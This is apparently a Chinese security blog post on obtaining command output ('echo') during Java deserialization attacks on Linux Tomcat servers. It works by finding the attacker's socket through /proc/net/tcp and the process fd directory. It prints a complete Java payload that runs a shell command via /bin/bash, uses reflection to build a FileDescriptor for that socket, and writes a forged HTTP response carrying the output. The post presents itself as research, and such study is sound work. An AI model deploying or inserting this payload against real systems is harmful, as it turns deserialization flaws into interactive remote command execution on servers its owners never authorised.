1 前言
前面讲了如果通过工具来半自动化挖掘中间件的回显构造方法,那么本篇在适用性上远比前文小,文件描述符只存在于Linux环境下,甚至在Mac环境下都不能调试,因此其局限性还是非常大的,另外在实际环境中如果遇到反代这种大型网络环境,通过这种方法来获取回显也会打上一个大大的问号,所以本文还是保持研究的态度来对这种回显方法一探究竟。
2 实践
在实践前,我们先通过人为模拟来寻找我们所能操控的文件描述符编号
还是熟悉的一个反序列化的应用案例,这里debug后我们来到服务器查看相对应的文件描述信息
这里对照第五行发现其中的ip地址经过了十六位进制转化,服务器的ip地址为192.168.59.148,对应local_address,而本机ip地址为192.168.59.1,对应remote_address,这里以192.168.59.148为例进行十六进制转化,转化后为C0.A8.3B.94,按照顺序排序后为943BA8C0,后面的1F90怀疑是socket的连接端口,这个暂且不深究,那么看到这里我们就能够知道sl对应5的这条信息其实就是我们本机与远端服务器的交互信息,其中inode为58016。
那么讲到这里就开始出现了如何取这个uid编号的问题,有人说利用ip地址,那么假设是vps的环境下,ip地址固定,通过寻找ip字符串就能拿到相应的inode编号,这是一种办法,而这里由于只有笔者一台服务器,所以这里可以很明显的发现存在交互的socket连接信息其中存在-1的字段,那么在本文的实验环境下是可以通过这个-1的标志位来取的,实际环境下不建议这么做。。
另外这里走了很长的弯路,一直以为文件描述信息在/proc/thread-self/net/tcp其中,但是经过不断地实验发现取上述地址并不能获得回显,但是会在catalina的记录里出现,因此这里取地址的时候需要越过这个坑。
那么这里我们已经取到了inode编号为58016,接下来到对应的pid目录下去看一看socket连接信息
这里tomcat的pid编号为3303,通过命令“ls -l /proc/3303/fd”即可查看tomcat的所有连接信息,这里对应58016编号,可以看到文件描述符为62
至此我们通过手工方法复现了寻找文件描述符的方法,最后通过java代码来篡写fd为62的文件内容
以下附上实验代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 |
//ShellExec String command = "whoami"; java.util.List cmds = new java.util.ArrayList(); cmds.add("/bin/bash"); cmds.add("-c"); cmds.add(command); ProcessBuilder pb = new ProcessBuilder(cmds); pb.redirectErrorStream(true); Process proc = pb.start(); byte[] out = new byte[1024 * 10]; proc.getInputStream().read(out); //GetInode java.io.File f1 = new java.io.File("/proc/thread-self/net/tcp6"); java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(f1)); String line,inode,uid = ""; while ((line = br.readLine()) != null) { String[] lineArr = line.split("\\s+"); if (lineArr.length == 18){ inode = lineArr[17]; java.util.regex.Pattern pattern = java.util.regex.Pattern.compile("^[-\\+]?[\\d]*$"); if(pattern.matcher(inode).matches() && Integer.parseInt(inode) < 0) { uid = lineArr[10]; break; } } } //getFdFile String tmp = ""; java.io.File file = new java.io.File("/proc/thread-self/fd"); java.io.File[] fs = file.listFiles(); for (int i=0;i<fs.length;i++) { java.io.File f = fs[i]; java.nio.file.Path path = java.nio.file.Paths.get(f.toString(), new String[]{""}); String link = java.nio.file.Files.readSymbolicLink(path).toString(); if (link.contains(uid)) { tmp = f.toString(); break; } } //getFd Class clazz = Class.forName("java.io.FileDescriptor"); java.lang.reflect.Constructor m = clazz.getDeclaredConstructor(new Class[]{Integer.TYPE}); m.setAccessible(true); String[] fdArr = tmp.split("/"); String fdId = fdArr[fdArr.length - 1]; java.io.FileDescriptor fd = (java.io.FileDescriptor) m.newInstance(new Object[]{new Integer(fdId)}); //writeFd String body = new String(out); String response = "HTTP/1.1 200 OK\r\n" + "Content-Type: text/html\r\n" + "Content-Length: " + body.length() + "\r\n\r\n" + body + "\r\n\r\n"; java.io.FileOutputStream os = new java.io.FileOutputStream(fd); os.write(response.getBytes()); os.close(); |
最后通过模拟http返回包内容来构造回显内容,然后配合上反序列化,至此就能够拿到页面回显。
3 后记
这种回显构造的方式仅局限于linux环境,所以局限性还是非常大的,并不如前文提到的利用response构造回显应用的那么广泛。